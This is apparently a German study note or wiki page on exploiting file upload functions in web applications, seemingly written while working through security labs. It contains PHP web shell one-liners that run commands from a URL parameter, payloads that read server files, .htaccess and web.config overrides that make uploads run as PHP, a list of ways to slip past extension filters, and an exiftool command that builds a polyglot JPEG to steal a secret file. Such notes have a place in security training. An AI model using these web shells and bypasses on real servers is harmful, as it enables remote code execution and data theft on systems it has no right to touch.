Beim versuchen mit einem Png hat es leider nicht richtig geklappt. Allerding das einfügen des PHP Codes irgendwo in die Mitte des Bildes führte zum Erfolg. Eine Möglichkeit zum exploiten der Upload Funktion ist den Content-Type zu ändern.
Mögliche upload funktionen
<?php echo system($_GET['command']); ?>
<?php echo file_get_contents('/path/to/target/file'); ?>
Schutz vor Daten in für Nutzer verfügbare Verzeichnisse
Oft wird ein Schutz implementiert, der dafür sorgt, dass der Server nur spefifizierte MIME Typen ausführen kann. Dann ist es aber unter anderem möglich den Quellcode zu sehen. Dieser Schutz ist meist Verzeichnis spezifisch. In anderen Verzeichnissen, von denen angenommen wird, dass der Nutzer auf diese nicht zugreifen kann gibt es diesen Schutz nicht. Dies kann dann mit [[Path Traversal]] umgangen werden.
Dateiendungen
Ein anderer Schutz ist Dateiendungen zu blacklisten. Dies kann umgangen werden, indem weniger bekannte Dateiendungen wie .php5 oder .shtml benutzt werden.
Überschreiben der Serverkonfiguration
Manchmal ist es möglich die Konfiguration des Servers zu verändern, indem Konfigurationsdaten untergeschoben werden. Für Apache wird diese Konfiguration benötigt um php ausführen zu können.
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd/php .php
.htaccess.Für IIS Server wird diese Konfiguration in der
web.config benötigt
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
Alle Daten als PHP Daten betrachten
# Diese Datei sorgt dafür, dass jede Datei als PHP Datei behandelt wird
# Dabei ist es sogar möglich PHP Code in dieser Datei auszuführen.
# Dieser Muss allerdings kommentiert werden.
# Aufgrund einiger Apache Restriktionen oder unbekannten Faktoren können hierbei 500 Fehler auftreten
# <?php system($_GET['command']);?> - Commented php code
SetHandler php-script
Überschreiben der PHP Konfiguration
Es ist auch möglich PHP Variablen zu überschreiben. Diese müssen allerdings als PHP_INI_ALL gekennzeichnet sein. Diese Variablen sind hier gelistet: https://www.php.net/manual/en/ini.list.php. Es kann nötig sein dies zu url encoden.
php_value open_basedir "/tmp"
php_value error_log "<?php phpinfo();>.php"
Requests Redirecten
Mithilfe der .htaccess Datei ist es auch möglich Requests lokal oder remote weiterzuleiten.
RedirectMatch 301 ^/main.js$ /injected.js
Obuskieren der Dateierweiterungen
- Obuskierung durch groß/kleinschreibung
.pHp - Mehrere Dateierweiterungen
.php.jpg - Anhängen von zeichen. Manche Komponenten entfernen angehängte leerzeichen, punkte und ähnliche:
.php. - Url oder doppeltes url enkodieren
- Anhängen von byte chars oder semikolons:
exploit.asp;.jpgoderexploit.asp%00.jpg - Nutzung von multibyte unicode Charakteren, welche zu null byte charakteren oder Punkten konvertiert werden können. Sequenzen wie
xC0 x2E,xC4 xAEoderxC0 xAEkönnen zux2Eübersetzt werden, wenn der Dateiname als UTF-8 String geparst wird. Doch dann zu ASCII konvertiert wird, bevor er als Pfad benutzt wird. - enfternen oder ersetzen von gefährlichen Erweiterungen:
.p.phphpwird durch entfernen von.phpzu.php.
Fehlerhafte Validierung des Dateiinhalts
Eine bessere Validierung ist den Dateiinhalt zu überprüfen. Beispielsweise enthalten JPEG's die Magic Bytes FF D8 FF.
Auch können die Dimensionen der Datei abgefragt werden, eine Text Datei hat keine Dimensionen eine Bild datei schon. Spezielle Tool wie ExifTool, erlauben es aber auch Polyglot JPEGs mit schadhaften Metadaten zu erstellen.
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php